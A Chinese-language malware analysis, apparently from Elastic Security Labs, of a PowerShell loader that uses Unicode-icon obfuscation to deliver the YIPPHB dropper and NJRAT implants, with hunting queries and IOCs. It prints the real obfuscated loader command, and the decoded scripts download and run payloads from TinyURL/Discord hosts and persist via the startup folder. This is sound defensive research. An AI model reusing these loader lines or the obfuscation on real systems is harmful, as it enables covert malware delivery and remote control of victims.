关键要点
- Elastic Security Labs 在 12 上发现了使用类似 TTP 的活动集群,即用 Unicode 图标对 Base64 编码字符串进行线程处理,以加载 YIPPHB 驱动程序。
- YIPPHB 是一种不复杂但有效的滴注器,用于输送 RAT 植入物,至少可追溯到 2022 年 5 月。
- 初始访问尝试使用 Powershell 中嵌入的 Unicode 图标来延迟自动分析。
前言
在审查遥测数据时,Elastic Security Labs 发现在执行 Powershell 时存在异常参数。经过仔细检查,发现 Base64 编码字符串中使用了 Unicode 图标。使用替代机制将图标替换为 ASCII 字符。
一旦图标被替换为 ASCII 字符,收集 Base64 编码文件和反向 URL 的重复过程就会被用来执行滴管和全功能恶意软件植入。滴管和恶意软件植入物后来分别被确认为 YIPPHB 和 NJRAT。
这项研究的重点如下
- 装载机阶段
- 滴管阶段
- RAT 阶段
- 活动集群
- 网络基础设施
- 猎捕查询
分析
对该入侵集的分析描述了一种混淆方法,我们认为这种方法旨在规避对 PowerShell 命令的自动分析,我们将其描述为初级和规范性的。
装载机阶段
在分析 Elastic 遥测技术中的 Powershell 命令时,我们发现 Powershell 命令中嵌入了 Unicode 图标。使用 Unicode 混淆 Powershell 命令并不是我们观察到的一种技术。
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
虽然这种技术并不复杂,只是用 ASCII 字符替换图标,但却很有创意。除非完全执行 Powershell 命令或利用分析工作流程处理 Unicode 和替换函数,否则这种技术可能会延迟对 Base64 编码字符串的自动分析。
通过查看 Powershell 命令,我们可以发现一个简单的过程,即用U 替换 Unicode 手表图标 (231A↩⌚⌚):CyberChef.
通过加载 "查找/替换"、"解码 Base64 "和 "解码文本 (UTF-16LE) "食谱,我们可以解码 Powershell 字符串。
在解码字符串中,我们可以看到装载器、后续滴管和植入物是如何安装的。
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
加载程序可从https://tinyurl[.]com/2erph6cs 下载。TinyURL 是一种流行的 URL 缩短服务,虽然它有非常合法的用途,但也可能被滥用来隐藏混入正常网络流量的恶意 URL。
要展开 TinyURL,我们可以使用Unshorten.me 的 JSON API 端点:
$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
"requested_url": "tinyurl[.]com/2erph6cs",
"success": true,
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
"usage_count": 3,
"remaining_calls": 8
}
从 Discord 内容交付网络下载dllsica.txt后,我们获得了另一个 Base64 编码字符串。与之前的 Powershell 字符串不同,dllsica.txt中的字符串无需替换即可轻松解码。
使用cat、base64、xxd和head命令行工具,我们可以看到该文件的十六进制值为4d5a,文件头中有一个 MZ 魔法编号。这证明我们正在分析一个 PE 文件。
- cat- 对文件进行分类
- base64 -D-D开关解码 base64 编码文件
- xxd- 创建输入内容的十六进制转储文件
- head- 返回文件的前 10 行
$ cat dllsica.txt | base64 -D | xxd | head
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000 ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno
...truncated...
接下来,我们对二进制文件进行了去伪处理,将其写入磁盘,然后生成 SHA-256 哈希值。
- 文件- 验证文件类型
- shasum -a 256- 256 开关使用 256 位散列算法
$ cat dllsica.txt | base64 -D > dllsica.bin
$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2
现在,加载器已被收集,它将执行NwgoxM.KPJaN 类中的PUlGKA方法。原始 Base64 解码字符串
…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:
我们今后可能会发布有关该加载程序的研究成果,它通过将自身复制到用户的启动文件夹中,作为一个本地支持的 VBscript 来保持访问权限。
FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");
滴管阶段
从上面的加载程序执行图像中,我们可以看到加载程序使用了一个反向变量(text = bdw6ufv4/moc[.]lruynit//:sptth)使用 TinyURL 下载附加文件。使用命令行工具rev,我们可以纠正颠倒的 URL。
$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev
https://tinyurl[.]com/4vfu6wd
我们可以使用 Unshorten.me JSON API 端点展开 TinyURL,以确定滴管的下载位置。
$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
"requested_url": "tinyurl[.]com/4vfu6wd",
"success": true,
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
"usage_count": 2,
"remaining_calls": 9
}
从 Discord 下载了另一个编码文件:pesica.txt。截至本文撰写时,VirusTotal 报告对该文件的检测为零。
根据dllsica.bin提供的线索,我们可以看到pesica.txt使用 UTF-8 编码。要进一步分析文件,我们需要用A替换▒▒▒▒值,并对生成的字符串进行 Base64 解码。
…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
{
text4 + "\\InstallUtil.exe",
Convert.FromBase64String(text3)
});
…truncated…
我们可以通过 CyberChef 堆叠食谱来实现这些功能。
解码pesica.txt后,我们将计算散列值bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf。pesica.txt的解码输出显示了YippHB模块名称。
...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...
YIPPHB 的滴管名称就来源于这个模块名称。YIPPHB 最初是由安全研究员Paul Melson 发现的。保罗于 2022 年 10 月在奥古斯塔 BSides 安全会议上公开披露了这一漏洞。
使用Installutil.exe命令行实用程序执行 YIPPHB 驱动程序,启动 RAT 阶段。
我们将下一阶段称为 RAT 阶段。在这一阶段,我们能够收集到的所有二进制文件都是 RAT 植入程序(NJRAT、LIMERAT 和 ASYNCRAT);不过,该入侵集的模块化特性允许使用任何植入类型。
RAT 阶段
既然 YIPPHB 驱动程序已经执行,它就会拾取原始 Unicode 图标脚本的第二部分来安装 RAT 植入程序。
…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
RAT 从https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt 上获取,它从txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth 上反转。
查看10oct8000.txt文件,我们可以看到这是一个反转的 Base64 编码文件。
=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…
我们可以使用命令行工具rev和 base64 对该文件进行校正和Base64解码,并将输出保存为10oct8000.bin。
$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin
10oct8000.bin的 SHA256 哈希值为1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3。该文件在 VirusTotal 上被报告为LIMERAT或NJRAT恶意软件家族的变种(取决于来源)。
与装载机和 YIPPHB 滴管一样,我们将了解 RAT 的一些基本功能,但不会完全颠覆它。通过对这些能力的研究,我们发现以前的研究将该样本与 NJRAT 或 LIMERAT 联系起来(1,2)。
RAT 通过连接命令和控制服务器开始执行例行程序。在一个单独的线程中,它还启动了一个键盘记录程序,以收集尽可能多的信息。
在与命令和控制服务器的连接中,RAT 使用作为全局变量列出的配置信息。victimName 变量 (TllBTiBDQVQ=) 是一个 Base64 编码字符串,解码为 "NYAN CAT"。根据代码与已知 NJRAT 代码库的相似性,这些 C2 配置信息使我们更加确信这与 NJRAT 有关。
如果 RAT 连接到正在监听命令的命令和控制服务器,则会发送以下附加信息:
- 受害者名称 (vn)
- 硬件 ID
- 用户名
- OSFullName
- 操作系统版本 服务包
- 程序文件 "文件夹是否以X86结尾
- 如果有网络摄像头
- 窗口名称
- 对注册表进行权限检查
如果成功连接到 C2 服务器,操作员就能通过一系列命令与植入体进行交互。安全研究人员希多-科恩(Hido Cohen)和 CyberMasterV在这里和这里对这些命令以及 RAT 的整体功能进行了详尽的解释
活动集群
我们通过遥测数据进行了进一步搜索,确定了几个活动集群。我们在下面提供了一个 EQL 查询:
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
通过该查询,我们可以确定同时使用 Unicode 字符和替换功能的 Powershell 活动。
通过观察这些结果,我们可以根据变量名和 Unicode 图标对活动进行分组。在这一初步研究的例子中,一个群组是变量iUqm和 ⌚⌚Unicode 图标。
| 群组 ID | 变量 | 统一码图标 + 数字 | 流行率百分比(四舍五入) |
|---|---|---|---|
| 1 | ngfYq | " (U+275E) | 1% |
| 2 | 鳕鱼 | ❤ (U+2764) | 1% |
| 3 | iUqm | ⌚ (U+231A) | 9% |
| 4 | iUqm | ⚔ (U+2694) | 6% |
| 5 | 鳕鱼 | ⁂ (U+2042) | 62% |
| 6 | iUqm | ✌ (U+270C) | 1% |
| 7 | 鳕鱼 | ⏏ (U+23CF) | 1% |
| 8 | Cg1O | ☈ (U+2608) | 5% |
| 9 | 鳕鱼 | ♔ (U+2654) | 10% |
| 10 | iUqm | ﭏ (U+FB4F) | 1% |
| 11 | 鳕鱼 | _*/}+/_= | 1% |
| 12 | iUqm | ☈ (U+2608) | 2% |
值得注意的是,群组 11 使用了与其他群组相同的所有技术,但没有使用 Unicode 图标进行替换,而是使用了一系列 ASCII 字符 (_*/}+/_=)。入侵的操作方式相同,我们不清楚为什么这个群组不使用 Unicode 图标。
收集和解析网络数据
为了扩大对该入侵集的分析范围,我们希望从进程命令行中自动提取加载器和滴注器编码的 URL。场和 RAT 植入物使用的后续 C2。
装载机和投放器
如加载器和投放器阶段所述,Base64 编码字符串需要替换 Unicode 图标,并进行反转和解码。经过这一过程后,第一个 URL 即可使用,而第二个 URL 则需要再次反转。
为了避免执行 Powershell 命令本身,我们可以利用文本处理工具awk。下面将详细介绍如何进行分析,我们将提供一个包含所有分析的 shell 脚本供参考。
开始时,我们需要在命令行上获取数据,并将其导入awk。我们已经 发布了一个 名为 eql-query 的 工具 (还有一个名为 lucene-query 的 工具 )来实现这一功能。
使用eql-query,我们可以运行 EQL 查询来检索最近 180 天的结果,只检索process.command_linefield.从命令行中执行此操作的价值在于,它允许我们进一步解析数据,并提取出更多感兴趣的字符串。
eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'
接下来,使用jq 将原始字符串传递给awk,方法是jq '._source.process.command_line' -r | awk。
如果要反复操作,最好将eql-query的结果写入文件,然后在本地对结果进行操作,直到管道达到您想要的效果。
下一步是捕获 Powershell替换命令中使用的字符串,以便我们自己执行该功能。使用awk的最佳方法是用正则表达式捕获它们。
这与要替换的第一个和第二个参数相匹配。第一个参数是 Unicode,可能对awk模式不友好,因此我们需要先将其转义。完成替换后,我们将打印出 "干净 "的代码、要查找的字符串以及替换后的文本。
function escape_string( str ) {
gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
return str
}
{
match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
str=escape_string(arr[1]);
rep=arr[2];
print gensub(str, rep, "g")
}
最后,我们可以使用另一个 regex 将 Base64 代码提取出来,并显示经过混淆的 Powershell 脚本。
grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'
这将自动执行我们在上文装载器、投放器和 RAT 阶段概述的手动转换过程。
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
不过,Powershell 的默认编码是 UTF-16LE ,而 awk 只支持 UTF-8 或 ASCII 编码。一个名为iconv的工具可以进行必要的转换。
echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'
转换完成后,剩下的就是直接解析了。我们的输出将包含url1、url2和 Unicode 字符串副本及其替换。URL 分别是每个代码样本的正向 URL 和反向 URL。
| 统一码图标 | 更换 | url1 | url2 |
|---|---|---|---|
| ⌚⌚⌚ | U | https://tinyurl[.]com/2erph6cs | https://cdn.discordapp[.]com/...truncated.../10oct8000.txt |
| ⌚⌚⌚ | U | http://91.241.19[.]49/ARTS/dllf3txt | http://91.241.19[.]49/test/new/ZX1.txt |
| ⁂ | A | http://20.231.55[.]108/dll/06-07-2022.PDF | http://212.192.246[.]226/dsaffdffa.txt |
欲了解更多详情,或根据自己的数据进行尝试,请参阅将其整合在一起的shell 脚本。
现在,我们已经实现了自动收集和解析加载器和投放器 URL 的功能,可以继续使用 RAT 基础设施了。
老鼠
从最初的 Powershell 脚本中可以看出,我们知道 RAT 使用了额外的网络基础设施。要枚举这些内容,我们需要像使用滴管一样下拉 RAT,为上一步输出的每个url1和url2获取一组唯一的 URL,在每个列表中循环,然后使用curl下载它们。
这一过程需要与对手拥有或控制的基础设施进行互动。与对手的基础设施互动需要严谨的准备工作,但并非所有组织都做好了准备。如果您对法律考虑因素、防御性网络出口点、沙箱、情报获取/丢失策略等知识还不太了解,下面将为您提供相关信息。
由于加载程序从不将下载的文件保存到磁盘,而且文件名也不总是固定的,所以为了跟踪样本,我们将使用一个简单的计数器。这样就形成了一个简单的循环:
ctr=1
for line in $(cat ../url-1.txt); do
curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
ctr=$((ctr + 1))
done
我们使用-v来捕获请求和响应标头,使用-L来跟踪重定向,使用--connect-timeout来在基础设施停机时加快处理速度。最后,将curl 的输出保存到日志文件中,而下载的文件则保存为文件-X,其中X是计数器的值。
下载的任何 RAT 文件都是 Base64 编码的。我们可以使用文件命令识别有效的 Base64 编码文件。Base64 编码文件将被识别为 "ASCII 文本,行很长(长度),无行结束符",其中长度为文件大小。对于符合这种语言的文件,我们将对其进行解码,并以.dll保存延长。
for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/ {print $1}'); do
rev <"${entry}" | base64 -d >"${entry}.dll"
done
现在我们有了 RAT 二进制文件,可以对它们进行一些典型的静态分析。如果您有VirusTotal 命令行工具并能进行 API 查询,搜索已知文件只需在所有已保存的dll文件中简单循环即可。
for entry in *.dll; do
hash=$(sha256sum "${entry}" | awk '{print $1}')
vt search "${hash}" >"${entry}.vt.yml"
done
查看输出结果,我们可以发现任何yml文件(vt命令输出结果)的字节数为0都意味着不匹配。VirusTotal 未知这些文件。在此输出中,我们可以看到file-30.dll、file-31.dll和file-34.dll在 VirusTotal 中是未知的。
$ ls -s *.dll{,.vt.yml}
32 file-28.dll
32 file-28.dll.vt.yml
32 file-30.dll
0 file-30.dll.vt.yml
32 file-31.dll
0 file-31.dll.vt.yml
468 file-34.dll
0 file-34.dll.vt.yml
48 file-35.dll
40 file-35.dll.vt.yml
80 file-38.dll
36 file-38.dll.vt.yml
我们要进行的最后一项分析是尝试从 DLL 中转录任何域名。对于许多可执行文件格式,字符串命令可以提供这些信息。不幸的是,这些 DLL 大多是 .Net 程序集,而字符串命令无法从 .Net 程序集中提取字符串。在本例中,文件命令可以再次帮助我们识别这些文件:
$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
.Net的优点是易于反汇编,Mono项目提供了一个专门用于反汇编的工具--ikdasm。这样,我们就有了搜索域名或 HTTP URL 引用的最后一个循环。
for item in *.dll; do
ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done
欲了解更多详情,请参阅此shell 脚本,它将第二阶段的分析汇总在一起。
钻石模型
Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.
观察到的对手战术和技术
Elastic 使用 MITRE ATT&CK 框架来记录高级持续性威胁针对企业网络使用的常见策略、技术和程序。
战术
策略代表了技术或子技术的原因。 这是对手的战术目标:采取行动的原因。
技术/子技术
技术和子技术代表对手如何通过执行某个动作来实现战术目标。
- 购置基础设施
- 阶段功能:上传恶意软件
- 启动或登录自动启动执行:注册表运行键/启动文件夹
- 命令和脚本解释器Visual Basic
- 命令和脚本解释器:PowerShell
- 系统二进制代理执行:安装程序
- 混淆文件或信息
检测逻辑
行为规则
- 通过签名二进制代理连接到 Web 服务
- Suspicious PowerShell Execution
- 使用异常文件扩展名执行进程
- 写入启动文件夹的脚本文件
- 通过 Windows 脚本执行可疑的 PowerShell
- 通过无符号二进制与动态 DNS 提供商连接
猎捕查询
在 Powershell 中识别 Unicode 可以使用 KQL 或 EQL 查询。
KQL 和 EQL 的事件都是通过 Elastic Defend 集成与 Elastic Agent 一起提供的。
KQL query
使用 Kibana 中的 "发现 "应用程序,下面的查询将识别使用 Unicode 字符串的 Powershell。虽然这确定了本研究中的所有事件,但也确定了不属于 REF4526 入侵集的其他事件。
在大量事件中,使用前面和后面的通配符 (*) 搜索的代价可能会很高。
process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)
EQL 查询
使用 Kibana 中 "相关性 "选项卡下的 "安全解决方案 "时间线部分,该查询将识别使用 Unicode 字符串和替换功能的 Powershell。这确定了所有观测到的 REF4526 事件。
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
参考资料
上述研究参考了以下内容:
- https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara
- https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
- https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
- https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html
- https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
- https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs
- https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a
- https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
可观察对象
所有可观察数据均可通过组合 zip 包以 ECS 和 STIX 格式下载。
本研究讨论了以下可观察的结果。
| 可观测 | 类型 | 参考 | Note |
|---|---|---|---|
| 49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2 | SHA-256 | dllsica.bin | 初始装载器 |
| bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf | SHA-256 | pesica.bin | YIPPHB 下载器 |
| 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3 | SHA-256 | 10oct8000 | 植入 NJRAT |
https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt | URL | 装载机阶段 | NJRAT 下载位置 |
https://tinyurl[.]com/2erph6cs | URL | 装载机阶段 | REF4526 装载机下载位置 |
https://tinyurl[.]com/4vfu6wd | URL | 滴管阶段 | YIPPHB 下载位置 |
| wins10ok.duckdns[.]org | 域名 | NJRAT C2 | 不适用 |
